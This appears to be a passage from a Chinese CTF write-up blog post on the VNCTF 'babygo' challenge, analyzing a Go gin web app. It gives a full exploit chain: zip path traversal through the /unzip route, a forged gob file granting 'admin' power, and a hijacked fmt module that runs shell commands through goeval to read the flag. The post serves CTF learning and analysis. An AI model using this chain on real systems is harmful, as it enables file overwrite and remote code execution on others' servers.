<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">r.GET(<span class="string">&quot;/unzip&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">    session := sessions.Default(c)</span><br><span class="line">    <span class="keyword">if</span> session.Get(<span class="string">&quot;shallow&quot;</span>) == <span class="literal">nil</span> &#123;</span><br><span class="line">        c.Redirect(http.StatusFound, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    userUploadDir := session.Get(<span class="string">&quot;shallow&quot;</span>).(<span class="type">string</span>) + <span class="string">&quot;uploads/&quot;</span> <span class="comment">// /tmp/4b997ad5487153fba0162e525abd6b7d/uploads/</span></span><br><span class="line">    files, _ := fileutil.ListFileNames(userUploadDir)</span><br><span class="line">    destPath := filepath.Clean(userUploadDir + c.Query(<span class="string">&quot;path&quot;</span>))</span><br><span class="line">    <span class="keyword">for</span> _, file := <span class="keyword">range</span> files &#123;</span><br><span class="line">        <span class="keyword">if</span> fileutil.MiMeType(userUploadDir+file) == <span class="string">&quot;application/zip&quot;</span> &#123;</span><br><span class="line">            err := fileutil.UnZip(userUploadDir+file, destPath)</span><br><span class="line">            <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">                c.HTML(<span class="number">200</span>, <span class="string">&quot;zip.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to unzip file&quot;</span>&#125;)</span><br><span class="line">                <span class="keyword">return</span></span><br><span class="line">            &#125;</span><br><span class="line">            fileutil.RemoveFile(userUploadDir + file)</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    c.HTML(<span class="number">200</span>, <span class="string">&quot;zip.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;success unzip&quot;</span>&#125;)</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>

<p>这个路由是个解压功能，下面这段就是如果是zip则解压到destpath这个路径，</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> _, file := <span class="keyword">range</span> files &#123;</span><br><span class="line">    <span class="keyword">if</span> fileutil.MiMeType(userUploadDir+file) == <span class="string">&quot;application/zip&quot;</span> &#123;</span><br><span class="line">        err := fileutil.UnZip(userUploadDir+file, destPath)</span><br><span class="line">        <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">            c.HTML(<span class="number">200</span>, <span class="string">&quot;zip.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;failed to unzip file&quot;</span>&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line">        fileutil.RemoveFile(userUploadDir + file)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>然后因为下面这段代码，所以可以知道，解压路径是可控的，即利用..就可以达到访问任意目录的目的。</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">destPath := filepath.Clean(userUploadDir + c.Query(<span class="string">&quot;path&quot;</span>))</span><br></pre></td></tr></table></figure>



<p>然后是最后一个路由/backdoor。后门路由</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">r.GET(<span class="string">&quot;/backdoor&quot;</span>, <span class="function"><span class="keyword">func</span><span class="params">(c *gin.Context)</span></span> &#123;</span><br><span class="line">    session := sessions.Default(c)</span><br><span class="line">    <span class="keyword">if</span> session.Get(<span class="string">&quot;shallow&quot;</span>) == <span class="literal">nil</span> &#123;</span><br><span class="line">        c.Redirect(http.StatusFound, <span class="string">&quot;/&quot;</span>)</span><br><span class="line">    &#125;</span><br><span class="line">    userDir := session.Get(<span class="string">&quot;shallow&quot;</span>).(<span class="type">string</span>)</span><br><span class="line">    <span class="keyword">if</span> fileutil.IsExist(userDir + <span class="string">&quot;user.gob&quot;</span>) &#123;</span><br><span class="line">        file, _ := os.Open(userDir + <span class="string">&quot;user.gob&quot;</span>)</span><br><span class="line">        decoder := gob.NewDecoder(file)</span><br><span class="line">        <span class="keyword">var</span> ctfer User</span><br><span class="line">        decoder.Decode(&amp;ctfer)</span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="keyword">if</span> ctfer.Power == <span class="string">&quot;admin&quot;</span> &#123; <span class="comment">//</span></span><br><span class="line">            eval, err := goeval.Eval(<span class="string">&quot;&quot;</span>, <span class="string">&quot;fmt.Println(\&quot;Good\&quot;)&quot;</span>, c.DefaultQuery(<span class="string">&quot;pkg&quot;</span>, <span class="string">&quot;fmt&quot;</span>))</span><br><span class="line">            <span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line">                fmt.Println(err)</span><br><span class="line">            &#125;</span><br><span class="line">            c.HTML(<span class="number">200</span>, <span class="string">&quot;backdoor.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="type">string</span>(eval)&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            c.HTML(<span class="number">200</span>, <span class="string">&quot;backdoor.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;low power&quot;</span>&#125;)</span><br><span class="line">            <span class="keyword">return</span></span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        c.HTML(<span class="number">500</span>, <span class="string">&quot;backdoor.html&quot;</span>, gin.H&#123;<span class="string">&quot;message&quot;</span>: <span class="string">&quot;no such user gob&quot;</span>&#125;)</span><br><span class="line">        <span class="keyword">return</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;)</span><br></pre></td></tr></table></figure>

<p>这里面主要是两点，ctfer.Power == “admin”这个判断，以及eval方法的利用。</p>
<ul>
<li>ctfer.Power == “admin”很显然要利用前面文件上传，达到上传一个user.gob并且替换序列化对象中的Power的值。而这个题目由于有个/unzip因此我们可以上传一个压缩包，直接然后利用解压把文件放到我们想要的任何位置。修改的代码如下</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> main</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> (</span><br><span class="line">	<span class="string">&quot;encoding/gob&quot;</span></span><br><span class="line">	<span class="string">&quot;os&quot;</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line"><span class="keyword">type</span> User <span class="keyword">struct</span> &#123;</span><br><span class="line">	Name  <span class="type">string</span></span><br><span class="line">	Path  <span class="type">string</span></span><br><span class="line">	Power <span class="type">string</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">main</span><span class="params">()</span></span> &#123;</span><br><span class="line">	userDir := <span class="string">&quot;&quot;</span></span><br><span class="line">	os.Create(userDir + <span class="string">&quot;user.gob&quot;</span>)</span><br><span class="line">	gobFile, _ := os.Create(userDir + <span class="string">&quot;user.gob&quot;</span>) <span class="comment">// 创建文件 /tmp/4b997ad5487153fba0162e525abd6b7d/user.gob</span></span><br><span class="line">	user := User&#123;Name: <span class="string">&quot;ctfer&quot;</span>, Path: userDir, Power: <span class="string">&quot;admin&quot;</span>&#125;</span><br><span class="line">	encoder := gob.NewEncoder(gobFile)</span><br><span class="line">	encoder.Encode(user)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>然后把user.gob压缩一下，上传上去</p>
<p><img src= "" data-lazy-src="https://gitee.com/fpointzero/imgforit/raw/master/img/image-20230223175051058.png" alt="image-20230223175051058"></p>
<p>然后访问即可/unzip?path=../</p>
<p><img src= "" data-lazy-src="https://gitee.com/fpointzero/imgforit/raw/master/img/image-20230223175241163.png" alt="image-20230223175241163"></p>
<ul>
<li>然后是eval方法利用</li>
</ul>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">eval, err := goeval.Eval(<span class="string">&quot;&quot;</span>, <span class="string">&quot;fmt.Println(\&quot;Good\&quot;)&quot;</span>, c.DefaultQuery(<span class="string">&quot;pkg&quot;</span>, <span class="string">&quot;fmt&quot;</span>))</span><br></pre></td></tr></table></figure>

<p>很明显，内容是不可控的，但是有一个点，调用的函数内容我们是可控的。</p>
<p>因为没有规定这个fmt一定是原本库里面的fmt，我们可以直接自己上传一个fmt去令其执行我们想要的代码。</p>
<p>因此可以自己写一个fmt模块</p>
<p>例如 RCE/fmt</p>
<p>目录结构如下:</p>
<p>RCE</p>
<p>​    fmt</p>
<p>​        –fmt.go</p>
<p>​        –go.mod</p>
<p>操作在fmt文件夹下面调用go mod init fmt</p>
<p>然后go.mod里面内容如下</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">module fmt</span><br><span class="line"></span><br><span class="line"><span class="keyword">go</span> <span class="number">1.19</span></span><br><span class="line"></span><br><span class="line">require RCE/fmt v0<span class="number">.0</span><span class="number">.0</span></span><br><span class="line">replace RCE/fmt v0<span class="number">.0</span><span class="number">.0</span> =&gt; ../fmt</span><br></pre></td></tr></table></figure>

<p>fmt.go里面内容</p>
<figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> fmt</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;os/exec&quot;</span></span><br><span class="line"><span class="keyword">import</span> <span class="string">&quot;fmt&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">Println</span><span class="params">(cmd <span class="type">string</span>)</span></span> &#123;</span><br><span class="line">	out, _ := exec.Command(<span class="string">&quot;cat&quot;</span>, <span class="string">&quot;/ffflllaaaggg&quot;</span>).Output()</span><br><span class="line">	<span class="comment">// out, _ := exec.Command(&quot;whoami&quot;).Output()</span></span><br><span class="line">	fmt.Println(<span class="type">string</span>(out))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// /usr/local/go/src/</span></span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>然后把文件内容放到/usr/local/go/src/目录下面就可以了</p>
<p><img src= "" data-lazy-src="https://gitee.com/fpointzero/imgforit/raw/master/img/image-20230223180503199.png" alt="image-20230223180503199"></p>
<p>然后访问backdoor就可以得到flag</p>
</article><div class="post-copyright"><div class="post-copyright__author"><span class="post-copyright-meta">文章作者: </span><span class="post-copyright-info"><a href="https://fpointzero.github.io">FPoint</a></span></div><div class="post-copyright__type"><span class="post-copyright-meta">文章链接: </span><span class="post-copyright-info"><a href="https://fpointzero.github.io/2023/02/23/VNCTF-babygo/">https://fpointzero.github.io/2023/02/23/VNCTF-babygo/</a></span></div><div class="post-copyright__notice"><span class="post-copyright-meta">版权声明: </span><span class="post-copyright-info">本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明来自 <a href="https://fpointzero.github.io" target="_blank">FPoint</a>！</span></div></div><div class="tag_share"><div class="post-meta__tag-list"><a class="post-meta__tags" href="/tags/CTF/">CTF</a></div><div class="post_share"><div class="social-share" data-image="/img/m1.jpg" data-sites="facebook,twitter,wechat,weibo,qq"></div><link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/css/share.min.css" media="print" onload="this.media='all'"><script src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/sharejs/dist/js/social-share.min.js" defer></script></div></div><nav class="pagination-post" id="pagination"><div class="next-post pull-full"><a href="/2022/11/24/%E7%BD%91%E9%BC%8E%E6%9D%AF-2020-%E6%9C%B1%E9%9B%80%E7%BB%84-Nmap/"><img class="next-cover" src= "" data-lazy-src="/img/m1.jpg" onerror="onerror=null;src='/img/404.jpg'" alt="cover of next post"><div class="pagination-info"><div class="label">下一篇</div><div class="next_info">网鼎杯 2020 朱雀组-Nmap</div></div></a></div></nav><div class="relatedPosts"><div class="headline"><i class="fas fa-thumbs-up fa-fw"></i><span>相关推荐</span></div><div class="relatedPosts-list"><div><a href="/2022/11/22/%E4%BD%99%E6%9A%A8%E6%9D%AF%E7%BA%BF%E4%B8%8B%E8%B5%9B/" title="余暨杯线下赛"><img class="cover" src= "" data-lazy-src="/img/m3.jpg" alt="cover"><div class="content is-center"><div class="date"><i class="far fa-calendar-alt fa-fw"></i> 2022-11-22</div><div class="title">余暨杯线下赛</div></div></a></div></div></div></div><div class="aside-content" id="aside-content"><div class="sticky_layout"><div class="card-widget" id="card-toc"><div class="item-headline"><i class="fas fa-stream"></i><span>目录</span><span class="toc-percentage"></span></div><div class="toc-content"><ol class="toc"><li class="toc-item toc-level-2"><a class="toc-link" href="#babygo"><span class="toc-number">1.</span> <span class="toc-text">babygo</span></a></li></ol></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2020 - 2023 By FPoint</div><div class="framework-info"><span>框架 </span><a target="_blank" rel="noopener" href="https://hexo.io">Hexo</a><span class="footer-separator">|</span><span>主题 </span><a target="_blank" rel="noopener" href="https://github.com/jerryc127/hexo-theme-butterfly">Butterfly</a></div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div id="local-search"><div class="search-dialog"><nav class="search-nav"><span class="search-dialog-title">搜索</span><span id="loading-status"></span><button class="search-close-button"><i class="fas fa-times"></i></button></nav><div class="is-center" id="loading-database"><i class="fas fa-spinner fa-pulse"></i><span>  数据库加载中</span></div><div class="search-wrap"><div id="local-search-input"><div class="local-search-box"><input class="local-search-box--input" placeholder="搜索文章" type="text"/></div></div><hr/><div id="local-search-results"></div></div></div><div id="search-mask"></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><script src="https://cdn.jsdelivr.net/npm/vanilla-lazyload/dist/lazyload.iife.min.js"></script><script src="/js/search/local-search.js"></script><div class="js-pjax"></div><script defer="defer" id="ribbon" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/dist/canvas-ribbon.min.js" size="150" alpha="0.6" zIndex="-1" mobile="false" data-click="false"></script><script defer="defer" id="fluttering_ribbon" mobile="true" src="https://cdn.jsdelivr.net/npm/butterfly-extsrc/dist/canvas-fluttering-ribbon.min.js"></script><script async data-pjax src="//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js"></script></div></body></html>